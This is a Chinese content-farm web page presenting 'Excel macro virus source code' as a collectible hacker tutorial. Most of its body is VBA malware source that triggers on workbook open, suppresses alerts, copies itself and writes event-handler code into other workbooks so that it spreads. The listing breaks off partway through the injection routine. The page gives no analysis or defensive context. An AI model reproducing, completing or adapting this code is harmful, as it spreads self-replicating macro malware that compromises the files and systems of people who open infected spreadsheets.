有趣生活

当前位置:首页>科技>常见excel病毒EXCEL宏病毒源码黑客典藏版本-编程绝版教材

常见excel病毒EXCEL宏病毒源码黑客典藏版本-编程绝版教材

发布时间:2026-07-25阅读(0)

导读'PrivateSubauto_open()'Application.DisplayAlerts=False,现在小编就来说说关于常见excel病毒?下面内....

Private Sub auto_open()Application.DisplayAlerts = False,现在小编就来说说关于常见excel病毒?下面内容希望能帮助到你,我们来一起看看吧!

常见excel病毒(EXCEL宏病毒源码黑客典藏版本-编程绝版教材)

常见excel病毒

Private Sub auto_open()

Application.DisplayAlerts = False

If ThisWorkbook.Path <> Application.StartupPath Then

Application.ScreenUpdating = False

Call delete_this_wk

Call copytoworkbook

If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook

ThisWorkbook.Save

Application.ScreenUpdating = True

End If

End Sub

Private Sub copytoworkbook()

Const DQUOTE = """"

With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule

.InsertLines 1, "Public WithEvents xx As Application"

.InsertLines 2, "Private Sub Workbook_open()"

.InsertLines 3, "Set xx = Application"

.InsertLines 4, "On Error Resume Next"

.InsertLines 5, "Application.DisplayAlerts = False"

.InsertLines 6, "Call do_what"

.InsertLines 7, "End Sub"

.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"

.InsertLines 9, "On Error Resume Next"

TAGS标签:  常见  excel  病毒  宏病毒  常见excel病毒E

Copyright © 2024 有趣生活 All Rights Reserve吉ICP备19000289号-5 TXT地图HTML地图XML地图